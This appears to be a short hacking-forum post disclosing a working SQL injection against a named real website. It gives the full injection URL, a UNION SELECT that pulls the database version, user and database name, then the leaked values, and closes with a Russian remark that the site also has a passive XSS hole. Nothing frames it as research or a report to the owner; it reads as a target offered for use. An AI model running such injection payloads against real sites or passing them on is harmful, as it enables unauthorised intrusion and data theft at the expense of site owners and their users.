http://www.mautner.at/?task=content&id=74+union+select+1,concat(0x2a,ver sion(),user(),database())

5.0.51b-logdb208388_12@local3db208388_12

(PS:xss тож есть правда пассивка)